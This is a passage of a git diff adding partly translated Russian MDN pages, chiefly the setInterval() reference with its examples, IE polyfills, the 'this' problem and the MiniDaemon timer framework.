+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG",'webappapis.html#windoworworkerglobalscope-mixin', '<code>WindowOrWorkerGlobalScope</code> mixin')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>This is where the main mixin is defined.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#fetch-method','fetch()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Definition of the <code>fetch()</code> method.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#self-caches', 'caches')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Definition of the <code>caches</code> property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB 2', '#dom-windoworworkerglobalscope-indexeddb', 'indexedDB')}}</td>
+   <td>{{Spec2('IndexedDB 2')}}</td>
+   <td>Definition of the <code>indexedDB</code> property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Secure Contexts', '#dom-windoworworkerglobalscope-issecurecontext', 'isSecureContext')}}</td>
+   <td>{{Spec2('Secure Contexts')}}</td>
+   <td>Definition of the <code>isSecureContext</code> property.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop(52)}}</td>
+   <td>54</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>origin</code></td>
+   <td>{{CompatGeckoDesktop(54)}}</td>
+   <td>59</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(52)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>54</td>
+  </tr>
+  <tr>
+   <td><code>origin</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(54)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>59</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Window")}}</li>
+ <li>{{domxref("WorkerGlobalScope")}}</li>
+</ul>
diff --git a/files/ru/web/api/windoworworkerglobalscope/setinterval/index.html b/files/ru/web/api/windoworworkerglobalscope/setinterval/index.html
new file mode 100644
index 0000000000..3095c8d6ec
--- /dev/null
+++ b/files/ru/web/api/windoworworkerglobalscope/setinterval/index.html
@@ -0,0 +1,641 @@
+---
+title: WindowOrWorkerGlobalScope.setInterval()
+slug: Web/API/WindowOrWorkerGlobalScope/setInterval
+translation_of: Web/API/WindowOrWorkerGlobalScope/setInterval
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary">Метод <strong><code>setInterval()</code></strong> предложен для {{domxref("Window")}} и {{domxref("Worker")}} интерфейсов. Он циклически вызывает функцию или участок кода с фиксированной паузой между каждым вызовом.</span> Уникальный идентификатор intervalID, возвращаемый методом, позволяет впоследствии удалить запущенный <span class="seoSummary"><strong><code>setInterval</code></strong></span> c помощью {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}}. Метод определен с помощью миксина {{domxref("WindowOrWorkerGlobalScope")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>var intervalID</em> = scope.setInterval(<em>func</em>, <em>delay</em>[, <em>param1</em>, <em>param2</em>, ...]);
+<em>var intervalID</em> = scope.setInterval(<em>code</em>, <em>delay</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>func</code></dt>
+ <dd>{{jsxref("function")}} - функция, которая будет вызыватся каждые <code>delay</code> милисекунд. Ожидается, что функция не принимает параметры и ничего не возвращает.</dd>
+ <dt><code>code</code></dt>
+ <dd>Этот необязательный синтаксис позволяет вам включать строку вметсо функции, которая компилируется и выполняется каждые <code>delay</code> миллисекунд. Однако такая форма не комендуется по тем же причинам, которые делают {{jsxref("eval", "eval()")}} угрозой безопасности.</dd>
+ <dt><code>delay</code></dt>
+ <dd>Время в милисекундах (одна тысячная секунды), на которое таймер выполнит задержку между вызовом функции. Если задано значение меньше 10, то будет использовано число 10. На самом деле задержка может быть больше чем указано, дополнительное объяснение приведено здесь:  {{SectionOnPage("/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout", "Reasons for delays longer than specified")}}.</dd>
+ <dt><code>param1, ..., paramN</code> {{optional_inline}}</dt>
+ <dd>Дополнительные параметры, передаваемые в функцию <em>func</em>.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Примечание</strong>: Передача дополнительных аргументов в <code>setInterval()</code> в первом синтаксисе не работает в Internet Explorer 9 и более ранних версиях.Если вы хотите включить эту функцию в этом браузере, вам следует использовать polyfill (смотрите раздел <a href="#Callback_arguments">Callback аргументы</a>).</p>
+</div>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Возвращаемый <code>intervalID</code> представляет из себя ненулевое числовое значение, которое идентифицирует таймер, созданный вызовом <code>setInterval()</code>; Это значение может быть передано в {{domxref("WindowOrWorkerGlobalScope.clearInterval()")}} для отмены таймера.</p>
+
+<p>It may be helpful to be aware that <code>setInterval()</code> and {{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}} share the same pool of IDs, and that <code>clearInterval()</code> and {{domxref("WindowOrWorkerGlobalScope.clearTimeout", "clearTimeout()")}} can technically be used interchangeably. For clarity, however, you should try to always match them to avoid confusion when maintaining your code.</p>
+
+<div class="note"><strong>Note</strong>: The <code>delay</code> parameter is converted to a signed 32-bit integer. This effectively limits <code>delay</code> to 2147483647 ms, since it's specified as a signed integer in the IDL.</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Пример_1_Базовый_синтаксис">Пример 1: Базовый синтаксис</h3>
+
+<p>The following example demonstrates <code>setInterval()</code>'s basic syntax.</p>
+
+<pre class="brush:js notranslate">var intervalID = window.setInterval(myCallback, 500);
+
+function myCallback() {
+  // Your code here
+}
+</pre>
+
+<h3 id="Пример_2_Чередование_двух_цветов">Пример 2: <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Чередование двух цветов</span></span></span></h3>
+
+<p>В следующем примере вызывается функция <code>flashtext()</code> раз в секунду, до того момента, как будет нажата кнопка Stop.</p>
+
+<pre class="brush:html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;meta charset="UTF-8" /&gt;
+  &lt;title&gt;setInterval/clearInterval example&lt;/title&gt;
+
+  &lt;script&gt;
+    var nIntervId;
+
+    function changeColor() {
+      nIntervId = setInterval(flashText, 1000);
+    }
+
+    function flashText() {
+      var oElem = document.getElementById('my_box');
+      oElem.style.color = oElem.style.color == 'red' ? 'blue' : 'red';
+      // oElem.style.color == 'red' ? 'blue' : 'red' это тернарный оператор.
+    }
+
+    function stopTextColor() {
+      clearInterval(nIntervId);
+    }
+  &lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onload="changeColor();"&gt;
+  &lt;div id="my_box"&gt;
+    &lt;p&gt;Hello World&lt;/p&gt;
+  &lt;/div&gt;
+
+  &lt;button onclick="stopTextColor();"&gt;Stop&lt;/button&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Пример_3_Симуляция_пишущей_машинки"><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Пример 3: Симуляция пишущей машинки</span></span></span></h3>
+
+<p>The following example simulates typewriter by first clearing and then slowly typing content into the <a href="/en-US/docs/DOM/NodeList"><code>NodeList</code></a> that matches a specified group of selectors.</p>
+
+<pre class="brush:html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8" /&gt;
+&lt;title&gt;JavaScript Typewriter - MDN Example&lt;/title&gt;
+&lt;script&gt;
+  function Typewriter (sSelector, nRate) {
+
+  function clean () {
+    clearInterval(nIntervId);
+    bTyping = false;
+    bStart = true;
+    oCurrent = null;
+    aSheets.length = nIdx = 0;
+  }
+
+  function scroll (oSheet, nPos, bEraseAndStop) {
+    if (!oSheet.hasOwnProperty('parts') || aMap.length &lt; nPos) { return true; }
+
+    var oRel, bExit = false;
+
+    if (aMap.length === nPos) { aMap.push(0); }
+
+    while (aMap[nPos] &lt; oSheet.parts.length) {
+      oRel = oSheet.parts[aMap[nPos]];
+
+      scroll(oRel, nPos + 1, bEraseAndStop) ? aMap[nPos]++ : bExit = true;
+
+      if (bEraseAndStop &amp;&amp; (oRel.ref.nodeType - 1 | 1) === 3 &amp;&amp; oRel.ref.nodeValue) {
+        bExit = true;
+        oCurrent = oRel.ref;
+        sPart = oCurrent.nodeValue;
+        oCurrent.nodeValue = '';
+      }
+
+      oSheet.ref.appendChild(oRel.ref);
+      if (bExit) { return false; }
+    }
+
+    aMap.length--;
+    return true;
+  }
+
+  function typewrite () {
+    if (sPart.length === 0 &amp;&amp; scroll(aSheets[nIdx], 0, true) &amp;&amp; nIdx++ === aSheets.length - 1) { clean(); return; }
+
+    oCurrent.nodeValue += sPart.charAt(0);
+    sPart = sPart.slice(1);
+  }
+
+  function Sheet (oNode) {
+    this.ref = oNode;
+    if (!oNode.hasChildNodes()) { return; }
+    this.parts = Array.prototype.slice.call(oNode.childNodes);
+
+    for (var nChild = 0; nChild &lt; this.parts.length; nChild++) {
+      oNode.removeChild(this.parts[nChild]);
+      this.parts[nChild] = new Sheet(this.parts[nChild]);
+    }
+  }
+
+  var
+    nIntervId, oCurrent = null, bTyping = false, bStart = true,
+    nIdx = 0, sPart = "", aSheets = [], aMap = [];
+
+  this.rate = nRate || 100;
+
+  this.play = function () {
+    if (bTyping) { return; }
+    if (bStart) {
+      var aItems = document.querySelectorAll(sSelector);
+
+      if (aItems.length === 0) { return; }
+      for (var nItem = 0; nItem &lt; aItems.length; nItem++) {
+        aSheets.push(new Sheet(aItems[nItem]));
+        /* Uncomment the following line if you have previously hidden your elements via CSS: */
+        // aItems[nItem].style.visibility = "visible";
+      }
+
+      bStart = false;
+    }
+
+    nIntervId = setInterval(typewrite, this.rate);
+    bTyping = true;
+  };
+
+  this.pause = function () {
+    clearInterval(nIntervId);
+    bTyping = false;
+  };
+
+  this.terminate = function () {
+    oCurrent.nodeValue += sPart;
+    sPart = "";
+    for (nIdx; nIdx &lt; aSheets.length; scroll(aSheets[nIdx++], 0, false));
+    clean();
+  };
+}
+
+/* usage: */
+var oTWExample1 = new Typewriter(/* elements: */ '#article, h1, #info, #copyleft', /* frame rate (optional): */ 15);
+
+/* default frame rate is 100: */
+var oTWExample2 = new Typewriter('#controls');
+
+/* you can also change the frame rate value modifying the "rate" property; for example: */
+// oTWExample2.rate = 150;
+
+onload = function () {
+  oTWExample1.play();
+  oTWExample2.play();
+};
+&lt;/script&gt;
+&lt;style type="text/css"&gt;
+span.intLink, a, a:visited {
+  cursor: pointer;
+  color: #000000;
+  text-decoration: underline;
+}
+
+#info {
+  width: 180px;
+  height: 150px;
+  float: right;
+  background-color: #eeeeff;
+  padding: 4px;
+  overflow: auto;
+  font-size: 12px;
+  margin: 4px;
+  border-radius: 5px;
+  /* visibility: hidden; */
+}
+&lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;p id="copyleft" style="font-style: italic; font-size: 12px; text-align: center;"&gt;CopyLeft 2012 by &lt;a href="https://developer.mozilla.org/" target="_blank"&gt;Mozilla Developer Network&lt;/a&gt;&lt;/p&gt;
+&lt;p id="controls" style="text-align: center;"&gt;[&amp;nbsp;&lt;span class="intLink" onclick="oTWExample1.play();"&gt;Play&lt;/span&gt; | &lt;span class="intLink" onclick="oTWExample1.pause();"&gt;Pause&lt;/span&gt; | &lt;span class="intLink" onclick="oTWExample1.terminate();"&gt;Terminate&lt;/span&gt;&amp;nbsp;]&lt;/p&gt;
+&lt;div id="info"&gt;
+Vivamus blandit massa ut metus mattis in fringilla lectus imperdiet. Proin ac ante a felis ornare vehicula. Fusce pellentesque lacus vitae eros convallis ut mollis magna pellentesque. Pellentesque placerat enim at lacus ultricies vitae facilisis nisi fringilla. In tincidunt tincidunt tincidunt.
+&lt;/div&gt;
+&lt;h1&gt;JavaScript Typewriter&lt;/h1&gt;
+
+&lt;div id="article"&gt;
+&lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ultrices dolor ac dolor imperdiet ullamcorper. Suspendisse quam libero, luctus auctor mollis sed, malesuada condimentum magna. Quisque in ante tellus, in placerat est. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Donec a mi magna, quis mattis dolor. Etiam sit amet ligula quis urna auctor imperdiet nec faucibus ante. Mauris vel consectetur dolor. Nunc eget elit eget velit pulvinar fringilla consectetur aliquam purus. Curabitur convallis, justo posuere porta egestas, velit erat ornare tortor, non viverra justo diam eget arcu. Phasellus adipiscing fermentum nibh ac commodo. Nam turpis nunc, suscipit a hendrerit vitae, volutpat non ipsum.&lt;/p&gt;
+&lt;form&gt;
+&lt;p&gt;Phasellus ac nisl lorem: &lt;input type="text" /&gt;&lt;br /&gt;
+&lt;textarea style="width: 400px; height: 200px;"&gt;Nullam commodo suscipit lacus non aliquet. Phasellus ac nisl lorem, sed facilisis ligula. Nam cursus lobortis placerat. Sed dui nisi, elementum eu sodales ac, placerat sit amet mauris. Pellentesque dapibus tellus ut ipsum aliquam eu auctor dui vehicula. Quisque ultrices laoreet erat, at ultrices tortor sodales non. Sed venenatis luctus magna, ultricies ultricies nunc fringilla eget. Praesent scelerisque urna vitae nibh tristique varius consequat neque luctus. Integer ornare, erat a porta tempus, velit justo fermentum elit, a fermentum metus nisi eu ipsum. Vivamus eget augue vel dui viverra adipiscing congue ut massa. Praesent vitae eros erat, pulvinar laoreet magna. Maecenas vestibulum mollis nunc in posuere. Pellentesque sit amet metus a turpis lobortis tempor eu vel tortor. Cras sodales eleifend interdum.&lt;/textarea&gt;&lt;/p&gt;
+&lt;p&gt;&lt;input type="submit" value="Send" /&gt;
+&lt;/form&gt;
+&lt;p&gt;Duis lobortis sapien quis nisl luctus porttitor. In tempor semper libero, eu tincidunt dolor eleifend sit amet. Ut nec velit in dolor tincidunt rhoncus non non diam. Morbi auctor ornare orci, non euismod felis gravida nec. Curabitur elementum nisi a eros rutrum nec blandit diam placerat. Aenean tincidunt risus ut nisi consectetur cursus. Ut vitae quam elit. Donec dignissim est in quam tempor consequat. Aliquam aliquam diam non felis convallis suscipit. Nulla facilisi. Donec lacus risus, dignissim et fringilla et, egestas vel eros. Duis malesuada accumsan dui, at fringilla mauris bibStartum quis. Cras adipiscing ultricies fermentum. Praesent bibStartum condimentum feugiat.&lt;/p&gt;
+&lt;p&gt;Nam faucibus, ligula eu fringilla pulvinar, lectus tellus iaculis nunc, vitae scelerisque metus leo non metus. Proin mattis lobortis lobortis. Quisque accumsan faucibus erat, vel varius tortor ultricies ac. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed nec libero nunc. Nullam tortor nunc, elementum a consectetur et, ultrices eu orci. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque a nisl eu sem vehicula egestas.&lt;/p&gt;
+&lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p><a href="/files/3997/typewriter.html">View this demo in action</a>. See also: <a href="/en-US/docs/DOM/window.clearInterval"><code>clearInterval()</code></a>.</p>
+
+<h2 id="Аргументы_функции_обратного_вызова">Аргументы функции обратного вызова</h2>
+
+<p>As previously discussed, Internet Explorer versions 9 and below do not support the passing of arguments to the callback function in either <code>setTimeout()</code> or <code>setInterval()</code>. The following <strong>IE-specific</strong> code demonstrates a method for overcoming this limitation.  To use, simply add the following code to the top of your script.</p>
+
+<pre class="brush:js notranslate">/*\
+|*|
+|*|  IE-specific polyfill that enables the passage of arbitrary arguments to the
+|*|  callback functions of javascript timers (HTML5 standard syntax).
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/window.setInterval
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|
+|*|  Syntax:
+|*|  var timeoutID = window.setTimeout(func, delay[, param1, param2, ...]);
+|*|  var timeoutID = window.setTimeout(code, delay);
+|*|  var intervalID = window.setInterval(func, delay[, param1, param2, ...]);
+|*|  var intervalID = window.setInterval(code, delay);
+|*|
+\*/
+
+if (document.all &amp;&amp; !window.setTimeout.isPolyfill) {
+  var __nativeST__ = window.setTimeout;
+  window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+    var aArgs = Array.prototype.slice.call(arguments, 2);
+    return __nativeST__(vCallback instanceof Function ? function () {
+      vCallback.apply(null, aArgs);
+    } : vCallback, nDelay);
+  };
+  window.setTimeout.isPolyfill = true;
+}
+
+if (document.all &amp;&amp; !window.setInterval.isPolyfill) {
+  var __nativeSI__ = window.setInterval;
+  window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+    var aArgs = Array.prototype.slice.call(arguments, 2);
+    return __nativeSI__(vCallback instanceof Function ? function () {
+      vCallback.apply(null, aArgs);
+    } : vCallback, nDelay);
+  };
+  window.setInterval.isPolyfill = true;
+}
+</pre>
+
+<p>Another possibility is to use an anonymous function to call your callback, although this solution is a bit more expensive. Example:</p>
+
+<pre class="brush:js notranslate">var intervalID = setInterval(function() { myFunc('one', 'two', 'three'); }, 1000);</pre>
+
+<p>Another possibility is to use <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">function's bind</a>. Example:</p>
+
+<pre class="brush:js notranslate">var intervalID = setInterval(function(arg1) {}.bind(undefined, 10), 1000);</pre>
+
+<p>{{h3_gecko_minversion("Inactive tabs", "5.0")}}</p>
+
+<p>Starting in Gecko 5.0 {{geckoRelease("5.0")}}, intervals are clamped to fire no more often than once per second in inactive tabs.</p>
+
+<h2 id="Проблема_с_this">Проблема с "<a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a>"</h2>
+
+<p>When you pass a method to <code>setInterval()</code> or any other function, it is invoked with the wrong <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> value. This problem is explained in detail in the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this#As_an_object_method">JavaScript reference</a>.</p>
+
+<h3 id="Объяснение">Объяснение</h3>
+
+<p>Code executed by <code>setInterval()</code> runs in a separate execution context than the function from which it was called. As a consequence, the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> keyword for the called function is set to the <code>window</code> (or <code>global</code>) object, it is not the same as the <code>this</code> value for the function that called <code>setTimeout</code>. See the following example (which uses <code>setTimeout()</code> instead of <code>setInterval()</code> – the problem, in fact, is the same for both timers):</p>
+
+<pre class="brush:js notranslate">myArray = ['zero', 'one', 'two'];
+
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length &gt; 0 ? this[sProperty] : this);
+};
+
+myArray.myMethod(); // prints "zero,one,two"
+myArray.myMethod(1); // prints "one"
+setTimeout(myArray.myMethod, 1000); // prints "[object Window]" after 1 second
+setTimeout(myArray.myMethod, 1500, "1"); // prints "undefined" after 1,5 seconds
+// passing the 'this' object with .call won't work
+// because this will change the value of this inside setTimeout itself
+// while we want to change the value of this inside myArray.myMethod
+// in fact, it will be an error because setTimeout code expects this to be the window object:
+setTimeout.call(myArray, myArray.myMethod, 2000); // error: "NS_ERROR_XPC_BAD_OP_ON_WN_PROTO: Illegal operation on WrappedNative prototype object"
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error
+</pre>
+
+<p>As you can see there are no ways to pass the <code>this</code> object to the callback function in the legacy JavaScript.</p>
+
+<h3 id="Возможное_решение">Возможное решение</h3>
+
+<p>A possible way to solve the "<code>this</code>" problem is to replace the two native <code>setTimeout()</code> or <code>setInterval()</code> global functions with two <em>non-native</em> ones that enable their invocation through the <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/call"><code>Function.prototype.call</code></a> method. The following example shows a possible replacement:</p>
+
+<pre class="brush:js notranslate">// Enable the passage of the 'this' object through the JavaScript timers
+
+var __nativeST__ = window.setTimeout, __nativeSI__ = window.setInterval;
+
+window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeST__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+
+window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeSI__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};</pre>
+
+<div class="note">These two replacements also enable the HTML5 standard passage of arbitrary arguments to the callback functions of timers in IE. So they can be used as <em>non-standard-compliant</em> polyfills also. See the <a href="#Callback_arguments">callback arguments paragraph</a> for a <em>standard-compliant</em> polyfill.</div>
+
+<p>Новое тестируемое свойство:</p>
+
+<pre class="brush:js notranslate">myArray = ['zero', 'one', 'two'];
+
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length &gt; 0 ? this[sProperty] : this);
+};
+
+setTimeout(alert, 1500, 'Hello world!'); // the standard use of setTimeout and setInterval is preserved, but...
+setTimeout.call(myArray, myArray.myMethod, 2000); // prints "zero,one,two" after 2 seconds
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2,5 seconds
+</pre>
+
+<p>Another, more complex, solution for<strong> </strong>the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> problem<strong> </strong>is <a href="#A_little_framework">the following framework</a>.</p>
+
+<div class="note">JavaScript 1.8.5 introduces the <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">Function.prototype.bind()</a></code> method, which lets you specify the value that should be used as <code>this</code> for all calls to a given function. This lets you easily bypass problems where it's unclear what this will be, depending on the context from which your function was called. Also, ES2015 supports <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow functions</a>, with lexical this allowing us to write setInterval( () =&gt; this.myMethod) if we're inside myArray method.</div>
+
+<h2 id="MiniDaemon_-_фреймворд_для_упраления_таймерами">MiniDaemon - фреймворд для упраления таймерами</h2>
+
+<p>In pages requiring many timers, it can often be difficult to keep track of all of the running timer events. One approach to solving this problem is to store information about the state of a timer in an object. Following is a minimal example of such an abstraction. The constructor architecture explicitly avoids the use of closures. It also offers an alternative way to pass the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> object to the callback function (see <a href="#The_.22this.22_problem">The "this" problem</a> for details). The following code is also <a href="https://github.com/madmurphy/minidaemon.js">available on GitHub</a>.</p>
+
+<div class="note">For a more complex but still modular version of it (<code><em>Daemon</em></code>) see <a href="/en-US/Add-ons/Code_snippets/Timers/Daemons">JavaScript Daemons Management</a>. This more complex version is nothing but a big and scalable collection of methods for the <code><em>Daemon</em></code> constructor. However, the <code><em>Daemon</em></code> constructor itself is nothing but a clone of <code><em>MiniDaemon</em></code> with an added support for <em>init</em> and <em>onstart</em> functions declarable during the instantiation of the <code><em>daemon</em></code>. <strong>So the <code><em>MiniDaemon</em></code> framework remains the recommended way for simple animations</strong>, because <code><em>Daemon</em></code> without its collection of methods is essentially a clone of it.</div>
+
+<h3 id="minidaemon.js">minidaemon.js</h3>
+
+<pre class="brush:js notranslate">/*\
+|*|
+|*|  :: MiniDaemon ::
+|*|
+|*|  Revision #2 - September 26, 2014
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/window.setInterval
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|  https://github.com/madmurphy/minidaemon.js
+|*|
+|*|  This framework is released under the GNU Lesser General Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/lgpl-3.0.html
+|*|
+\*/
+
+function MiniDaemon (oOwner, fTask, nRate, nLen) {
+  if (!(this &amp;&amp; this instanceof MiniDaemon)) { return; }
+  if (arguments.length &lt; 2) { throw new TypeError('MiniDaemon - not enough arguments'); }
+  if (oOwner) { this.owner = oOwner; }
+  this.task = fTask;
+  if (isFinite(nRate) &amp;&amp; nRate &gt; 0) { this.rate = Math.floor(nRate); }
+  if (nLen &gt; 0) { this.length = Math.floor(nLen); }
+}
+
+MiniDaemon.prototype.owner = null;
+MiniDaemon.prototype.task = null;
+MiniDaemon.prototype.rate = 100;
+MiniDaemon.prototype.length = Infinity;
+
+  /* These properties should be read-only */
+
+MiniDaemon.prototype.SESSION = -1;
+MiniDaemon.prototype.INDEX = 0;
+MiniDaemon.prototype.PAUSED = true;
+MiniDaemon.prototype.BACKW = true;
+
+  /* Global methods */
+
+MiniDaemon.forceCall = function (oDmn) {
+  oDmn.INDEX += oDmn.BACKW ? -1 : 1;
+  if (oDmn.task.call(oDmn.owner, oDmn.INDEX, oDmn.length, oDmn.BACKW) === false || oDmn.isAtEnd()) { oDmn.pause(); return false; }
+  return true;
+};
+
+  /* Instances methods */
+
+MiniDaemon.prototype.isAtEnd = function () {
+  return this.BACKW ? isFinite(this.length) &amp;&amp; this.INDEX &lt; 1 : this.INDEX + 1 &gt; this.length;
+};
+
+MiniDaemon.prototype.synchronize = function () {
+  if (this.PAUSED) { return; }
+  clearInterval(this.SESSION);
+  this.SESSION = setInterval(MiniDaemon.forceCall, this.rate, this);
+};
+
+MiniDaemon.prototype.pause = function () {
+  clearInterval(this.SESSION);
+  this.PAUSED = true;
+};
+
+MiniDaemon.prototype.start = function (bReverse) {
+  var bBackw = Boolean(bReverse);
+  if (this.BACKW === bBackw &amp;&amp; (this.isAtEnd() || !this.PAUSED)) { return; }
+  this.BACKW = bBackw;
+  this.PAUSED = false;
+  this.synchronize();
+};
+</pre>
+
+<div class="note">MiniDaemon passes arguments to the callback function. If you want to work on it with browsers that natively do not support this feature, use one of the methods proposed above.</div>
+
+<h3 id="Синтаксис_2">Синтаксис</h3>
+
+<p><code>var myDaemon = new MiniDaemon(<em>thisObject</em>, <em>callback</em>[</code><code>, <em>rate</em></code><code>[, <em>length</em>]]);</code></p>
+
+<h3 id="Описание">Описание</h3>
+
+<p>Returns a JavaScript <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object"><code>Object</code></a> containing all information needed by an animation (like the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> object, the callback function, the length, the frame-rate).</p>
+
+<h4 id="Параметры_2">Параметры</h4>
+
+<dl>
+ <dt><code>thisObject</code></dt>
+ <dd>The <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> object on which the <em>callback</em> function is called. It can be an <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object"><code>object</code></a> or <code>null</code>.</dd>
+ <dt><code>callback</code></dt>
+ <dd>The function that is repeatedly invoked . <strong>It is called with three parameters</strong>: <em>index</em> (the iterative index of each invocation), <em>length</em> (the number of total invocations assigned to the <em>daemon</em> - finite or <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity"><code>Infinity</code></a>) and <em>backwards</em> (a boolean expressing whether the <em>index</em> is increasing or decreasing). It is something like <em>callback</em>.call(<em>thisObject</em>, <em>index</em>, <em>length</em>, <em>backwards</em>). <strong>If the callback function returns a <code>false</code> value the <em>daemon</em> is paused</strong>.</dd>
+ <dt><code>rate (optional)</code></dt>
+ <dd>The time lapse (in number of milliseconds) between each invocation. The default value is 100.</dd>
+ <dt><code>length (optional)</code></dt>
+ <dd>The total number of invocations. It can be a positive integer or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity"><code>Infinity</code></a>. The default value is <code>Infinity</code>.</dd>
+</dl>
+
+<h4 id="MiniDaemon_instances_properties"><code>MiniDaemon</code> instances properties</h4>
+
+<dl>
+ <dt><code>myDaemon.owner</code></dt>
+ <dd>The <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code></a> object on which is executed the daemon (read/write). It can be an <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object"><code>object</code></a> or <code>null</code>.</dd>
+ <dt><code>myDaemon.task</code></dt>
